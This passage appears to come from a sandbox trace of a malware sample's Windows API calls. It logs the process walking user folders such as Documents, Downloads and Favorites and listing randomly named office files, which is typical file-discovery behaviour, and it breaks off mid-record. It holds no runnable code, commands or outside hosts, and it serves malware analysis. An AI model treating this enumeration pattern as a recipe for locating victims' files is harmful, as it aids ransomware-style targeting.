ftCreationTime.dwLowDateTime=0x7dec1310, ftCreationTime.dwHighDateTime=0x1d4d58f, ftLastAccessTime.dwLowDateTime=0xafba5f40, ftLastAccessTime.dwHighDateTime=0x1d4d176, ftLastWriteTime.dwLowDateTime=0xafba5f40, ftLastWriteTime.dwHighDateTime=0x1d4d176, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="xwoxab1ONVdFr-x7cTy", cAlternateFileName="XWOXAB~1")) returned 0 [0119.761] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.762] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.762] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fde638 | out: hHeap=0x5e0000) returned 1 [0119.762] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.762] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\") returned="Documents\\" [0119.762] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.762] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.762] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.762] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.762] PathFindFileNameW (pszPath="") returned="" [0119.762] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd64cc70, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd64cc70, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.762] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f339b8 | out: hHeap=0x5e0000) returned 1 [0119.762] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbd64cc70, ftLastAccessTime.dwHighDateTime=0x1d52ab3, ftLastWriteTime.dwLowDateTime=0xbd64cc70, ftLastWriteTime.dwHighDateTime=0x1d52ab3, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e93ffd0, ftCreationTime.dwHighDateTime=0x1d4be45, ftLastAccessTime.dwLowDateTime=0x7f28b440, ftLastAccessTime.dwHighDateTime=0x1d513b5, ftLastWriteTime.dwLowDateTime=0x7f28b440, ftLastWriteTime.dwHighDateTime=0x1d513b5, nFileSizeHigh=0x0, nFileSizeLow=0x4718, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="2CT69ygJXeQqr8Q.docx", cAlternateFileName="2CT69Y~1.DOC")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11961080, ftCreationTime.dwHighDateTime=0x1d506cc, ftLastAccessTime.dwLowDateTime=0x860a950, ftLastAccessTime.dwHighDateTime=0x1d49eec, ftLastWriteTime.dwLowDateTime=0x860a950, ftLastWriteTime.dwHighDateTime=0x1d49eec, nFileSizeHigh=0x0, nFileSizeLow=0x178ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5hGto9u9m313.docx", cAlternateFileName="5HGTO9~1.DOC")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc8eb03d0, ftCreationTime.dwHighDateTime=0x1d4ef34, ftLastAccessTime.dwLowDateTime=0x256945a0, ftLastAccessTime.dwHighDateTime=0x1d4bc62, ftLastWriteTime.dwLowDateTime=0x256945a0, ftLastWriteTime.dwHighDateTime=0x1d4bc62, nFileSizeHigh=0x0, nFileSizeLow=0xaed6, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ACBE_lrqSEFAf.pptx", cAlternateFileName="ACBE_L~1.PPT")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6533ed80, ftCreationTime.dwHighDateTime=0x1d4b59a, ftLastAccessTime.dwLowDateTime=0x2672bea0, ftLastAccessTime.dwHighDateTime=0x1d51670, ftLastWriteTime.dwLowDateTime=0x2672bea0, ftLastWriteTime.dwHighDateTime=0x1d51670, nFileSizeHigh=0x0, nFileSizeLow=0xe873, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BNK6dBch57n5aoP0t.xlsx", cAlternateFileName="BNK6DB~1.XLS")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfea720a0, ftCreationTime.dwHighDateTime=0x1d4d2e0, ftLastAccessTime.dwLowDateTime=0xe4ca9fe0, ftLastAccessTime.dwHighDateTime=0x1d4d317, ftLastWriteTime.dwLowDateTime=0xe4ca9fe0, ftLastWriteTime.dwHighDateTime=0x1d4d317, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BZeNr_asZgOghC", cAlternateFileName="BZENR_~1")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d207440, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f718170, ftCreationTime.dwHighDateTime=0x1d4cf29, ftLastAccessTime.dwLowDateTime=0x7dda1680, ftLastAccessTime.dwHighDateTime=0x1d4d2c2, ftLastWriteTime.dwLowDateTime=0x7dda1680, ftLastWriteTime.dwHighDateTime=0x1d4d2c2, nFileSizeHigh=0x0, nFileSizeLow=0xe6d1, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="GkId5.pdf", cAlternateFileName="")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe533b500, ftCreationTime.dwHighDateTime=0x1d4ce00, ftLastAccessTime.dwLowDateTime=0xed72ff20, ftLastAccessTime.dwHighDateTime=0x1d4cd63, ftLastWriteTime.dwLowDateTime=0xed72ff20, ftLastWriteTime.dwHighDateTime=0x1d4cd63, nFileSizeHigh=0x0, nFileSizeLow=0x11f6f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HXfImV4Qtfg1Ex.odp", cAlternateFileName="HXFIMV~1.ODP")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x760f0dd0, ftCreationTime.dwHighDateTime=0x1d4ac56, ftLastAccessTime.dwLowDateTime=0x226cb590, ftLastAccessTime.dwHighDateTime=0x1d525ac, ftLastWriteTime.dwLowDateTime=0x226cb590, ftLastWriteTime.dwHighDateTime=0x1d525ac, nFileSizeHigh=0x0, nFileSizeLow=0xd29f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="iDsL9dCjo_LaXt.pptx", cAlternateFileName="IDSL9D~1.PPT")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f8f4d70, ftCreationTime.dwHighDateTime=0x1d4cbcc, ftLastAccessTime.dwLowDateTime=0x64944890, ftLastAccessTime.dwHighDateTime=0x1d520fa, ftLastWriteTime.dwLowDateTime=0x64944890, ftLastWriteTime.dwHighDateTime=0x1d520fa, nFileSizeHigh=0x0, nFileSizeLow=0x11c1e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="m3fpL4NiO_tDUBU.xlsx", cAlternateFileName="M3FPL4~1.XLS")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Music", cAlternateFileName="MYMUSI~1")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Pictures", cAlternateFileName="MYPICT~1")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x9e9e4460, ftCreationTime.dwHighDateTime=0x1d305ee, ftLastAccessTime.dwLowDateTime=0x9ebad4e0, ftLastAccessTime.dwHighDateTime=0x1d305ee, ftLastWriteTime.dwLowDateTime=0x9ebad4e0, ftLastWriteTime.dwHighDateTime=0x1d305ee, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Shapes", cAlternateFileName="MYSHAP~1")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x290dda00, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x290dda00, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x290dda00, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Videos", cAlternateFileName="MYVIDE~1")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a7a9f80, ftCreationTime.dwHighDateTime=0x1d2fad7, ftLastAccessTime.dwLowDateTime=0x5c4f8e60, ftLastAccessTime.dwHighDateTime=0x1d2fad7, ftLastWriteTime.dwLowDateTime=0x5c4f8e60, ftLastWriteTime.dwHighDateTime=0x1d2fad7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Outlook Files", cAlternateFileName="OUTLOO~1")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5e252560, ftCreationTime.dwHighDateTime=0x1d4c001, ftLastAccessTime.dwLowDateTime=0x636bf60, ftLastAccessTime.dwHighDateTime=0x1d4df61, ftLastWriteTime.dwLowDateTime=0x636bf60, ftLastWriteTime.dwHighDateTime=0x1d4df61, nFileSizeHigh=0x0, nFileSizeLow=0x14443, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PSaER.xlsx", cAlternateFileName="PSAER~1.XLS")) returned 1 [0119.763] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdccd3e0, ftCreationTime.dwHighDateTime=0x1d528a7, ftLastAccessTime.dwLowDateTime=0xd0d16870, ftLastAccessTime.dwHighDateTime=0x1d4e276, ftLastWriteTime.dwLowDateTime=0xd0d16870, ftLastWriteTime.dwHighDateTime=0x1d4e276, nFileSizeHigh=0x0, nFileSizeLow=0x11877, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="rHxPXYmZyC.xlsx", cAlternateFileName="RHXPXY~1.XLS")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45a5eec0, ftCreationTime.dwHighDateTime=0x1d50af7, ftLastAccessTime.dwLowDateTime=0x58eef3f0, ftLastAccessTime.dwHighDateTime=0x1d4f21f, ftLastWriteTime.dwLowDateTime=0x58eef3f0, ftLastWriteTime.dwHighDateTime=0x1d4f21f, nFileSizeHigh=0x0, nFileSizeLow=0x1582a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tosXZeBkp.docx", cAlternateFileName="TOSXZE~1.DOC")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82541870, ftCreationTime.dwHighDateTime=0x1d4a8ea, ftLastAccessTime.dwLowDateTime=0x42f4f7b0, ftLastAccessTime.dwHighDateTime=0x1d4bba7, ftLastWriteTime.dwLowDateTime=0x42f4f7b0, ftLastWriteTime.dwHighDateTime=0x1d4bba7, nFileSizeHigh=0x0, nFileSizeLow=0xd799, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TUDp84ZZaxYWbhN0.pptx", cAlternateFileName="TUDP84~1.PPT")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43c8b6e0, ftCreationTime.dwHighDateTime=0x1d51606, ftLastAccessTime.dwLowDateTime=0xcc283a80, ftLastAccessTime.dwHighDateTime=0x1d4dcca, ftLastWriteTime.dwLowDateTime=0xcc283a80, ftLastWriteTime.dwHighDateTime=0x1d4dcca, nFileSizeHigh=0x0, nFileSizeLow=0xdeb2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TvZ1bKJ tiq.pptx", cAlternateFileName="TVZ1BK~1.PPT")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0891f10, ftCreationTime.dwHighDateTime=0x1d4ed9e, ftLastAccessTime.dwLowDateTime=0x2df9a420, ftLastAccessTime.dwHighDateTime=0x1d5021d, ftLastWriteTime.dwLowDateTime=0x2df9a420, ftLastWriteTime.dwHighDateTime=0x1d5021d, nFileSizeHigh=0x0, nFileSizeLow=0x35bd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vqFDMq0vDJBGr2hc.docx", cAlternateFileName="VQFDMQ~1.DOC")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa22462b0, ftCreationTime.dwHighDateTime=0x1d4de3a, ftLastAccessTime.dwLowDateTime=0x346ff3b0, ftLastAccessTime.dwHighDateTime=0x1d4cdaf, ftLastWriteTime.dwLowDateTime=0x346ff3b0, ftLastWriteTime.dwHighDateTime=0x1d4cdaf, nFileSizeHigh=0x0, nFileSizeLow=0xe3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YbrQBo2.docx", cAlternateFileName="YBRQBO~1.DOC")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22e9a3f0, ftCreationTime.dwHighDateTime=0x1d4f2fa, ftLastAccessTime.dwLowDateTime=0xdc3921e0, ftLastAccessTime.dwHighDateTime=0x1d52889, ftLastWriteTime.dwLowDateTime=0xdc3921e0, ftLastWriteTime.dwHighDateTime=0x1d52889, nFileSizeHigh=0x0, nFileSizeLow=0x11630, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ydHK_AJbvu6-wWm.pptx", cAlternateFileName="YDHK_A~1.PPT")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6b32cd00, ftCreationTime.dwHighDateTime=0x1d4c6a2, ftLastAccessTime.dwLowDateTime=0x42878e50, ftLastAccessTime.dwHighDateTime=0x1d4d3ad, ftLastWriteTime.dwLowDateTime=0x42878e50, ftLastWriteTime.dwHighDateTime=0x1d4d3ad, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YSKur86t", cAlternateFileName="")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4324b30, ftCreationTime.dwHighDateTime=0x1d4ae15, ftLastAccessTime.dwLowDateTime=0x1869b520, ftLastAccessTime.dwHighDateTime=0x1d4f285, ftLastWriteTime.dwLowDateTime=0x1869b520, ftLastWriteTime.dwHighDateTime=0x1d4f285, nFileSizeHigh=0x0, nFileSizeLow=0x12eed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YuznX2-DO1aKAcy18.xlsx", cAlternateFileName="YUZNX2~1.XLS")) returned 1 [0119.764] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4324b30, ftCreationTime.dwHighDateTime=0x1d4ae15, ftLastAccessTime.dwLowDateTime=0x1869b520, ftLastAccessTime.dwHighDateTime=0x1d4f285, ftLastWriteTime.dwLowDateTime=0x1869b520, ftLastWriteTime.dwHighDateTime=0x1d4f285, nFileSizeHigh=0x0, nFileSizeLow=0x12eed, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="YuznX2-DO1aKAcy18.xlsx", cAlternateFileName="YUZNX2~1.XLS")) returned 0 [0119.764] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.764] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.764] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.764] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\") returned="Downloads\\" [0119.764] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.764] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.764] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.764] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.764] PathFindFileNameW (pszPath="") returned="" [0119.764] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Downloads\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0119.765] FindClose (in: hFindFile=0x3008f60 | out: hFindFile=0x3008f60) returned 1 [0119.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2fdb348 | out: hHeap=0x5e0000) returned 1 [0119.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33a88 | out: hHeap=0x5e0000) returned 1 [0119.765] PeekMessageW (in: lpMsg=0x388fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x388fb74) returned 0 [0119.765] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\") returned="Favorites\\" [0119.765] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0119.765] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0119.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022c40 | out: hHeap=0x5e0000) returned 1 [0119.765] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.765] PathFindFileNameW (pszPath="") returned="" [0119.765] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\*", lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3008f60 [0119.765] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x2f33950 | out: hHeap=0x5e0000) returned 1 [0119.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28d4b900, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1bb180, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x192, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0119.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52cd1930, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbae0ad90, ftLastWriteTime.dwHighDateTime=0x1d2faf2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0119.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe5472dd, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Websites", cAlternateFileName="MICROS~1")) returned 1 [0119.765] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d4b900, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfe4d4ebc, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Websites", cAlternateFileName="MSNWEB~1")) returned 1 [0119.766] FindNextFileW (in: hFindFile=0x3008f60, lpFindFileData=0x388fba4 | out: lpFindFileData=0x388fba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, 